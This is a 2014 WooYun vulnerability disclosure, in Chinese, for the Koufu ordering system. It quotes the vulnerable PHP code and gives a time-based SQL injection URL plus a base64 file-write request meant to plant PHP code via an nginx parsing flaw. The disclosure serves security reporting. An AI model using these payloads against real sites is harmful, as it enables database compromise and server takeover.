当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067531

漏洞标题:口福订餐系统SQL注入+鸡肋getshell

相关厂商:koufukeji.com

漏洞作者: magerx

提交时间:2014-07-07 16:59

修复时间:2014-10-02 17:00

公开时间:2014-10-02 17:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-07: 细节已通知厂商并且等待厂商处理中
2014-07-12: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-09-05: 细节向核心白帽子及相关领域专家公开
2014-09-15: 细节向普通白帽子公开
2014-09-25: 细节向实习白帽子公开
2014-10-02: 细节向公众公开

简要描述:

sql注入

详细说明:

sql注入:/source/index/activity_topic.ctrl.php,152行

public function onAdd(){
$id=get_post("id","i");
$act_id=get_post('act_id');
if($id){
$data=$this->activity_topic->selectRow(array("where"=>"id={$id}"));
$data['content']=$this->activity_topic_data->selectOne(array("where"=>"id={$id}","fields"=>"content"));
$act_id=$data['act_id'];
if($data['userid']!=$this->userid){
$this->activityapiControl->checkRole($act_id,2);
}else{
$this->activityapiControl->checkRole($act_id);
}
}
$activity=$this->activity->selectRow(array("where"=>" id=".$act_id));

$this->smarty->assign(array(
"data"=>$data,
"activity"=>$activity
));
$this->smarty->display("activity_topic/add.html");
}


$act_id没有经过过滤直接post之后拼接到sql语句中,同时没有引号括起,所以无需闭合。

http://localhost/koufu/index.php?m=activity_topic&a=Add&act_id=12 and sleep(2)%23


QQ20140705-1.png


2、配合nginx解析漏洞getshell
/source/index/upload.ctrl.php,91行:

public function onBase64(){
$dir=isset($_GET['dir'])?get('dir','h')."/":"";
if(get('id','i')){
$dir="attach/".$dir.$this->dirId(get('id','i'));
}else{
$dir="attach/".$dir.date("Y/m/d/").$this->dirId(get('id','i'));
}
umkdir($dir);
$file=$dir.$this->login->userid.microtime(true).".jpg";
file_put_contents($file,base64_decode($_POST['content']));
$this->loadClass("image",false,false);
$img=new image();
$imgurl=$file;
$img->makethumb($imgurl.".100x100.jpg",$imgurl,"100","100",1);
$img->makethumb($imgurl.".small.jpg",$imgurl,"240");
$img->makethumb($imgurl.".middle.jpg",$imgurl,"440");
$data=array("error"=>0,"imgurl"=>$file,"msg"=>"");
echo json_encode($data);
}


$dir可以自定义,直接将$content的内容bese64解码后写到了$file中,$file我们可以计算,也可以通过报错查看,鸡肋的地方是我们只能控制写入的内容,和目录名称,无法修改后缀,所以只好配合nginx解析漏洞拿shell

http://localhost/koufu/index.php?m=upload&a=base64&dir=test4&id=100


post:

content=PD9waHAgcGhwaW5mbygpOz8+


QQ20140705-2.png

漏洞证明:

QQ20140705-1.png


QQ20140705-2.png

修复方案:

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-02 17:00

厂商回复:

最新状态:

2014-07-12:谢谢反馈!努力修补!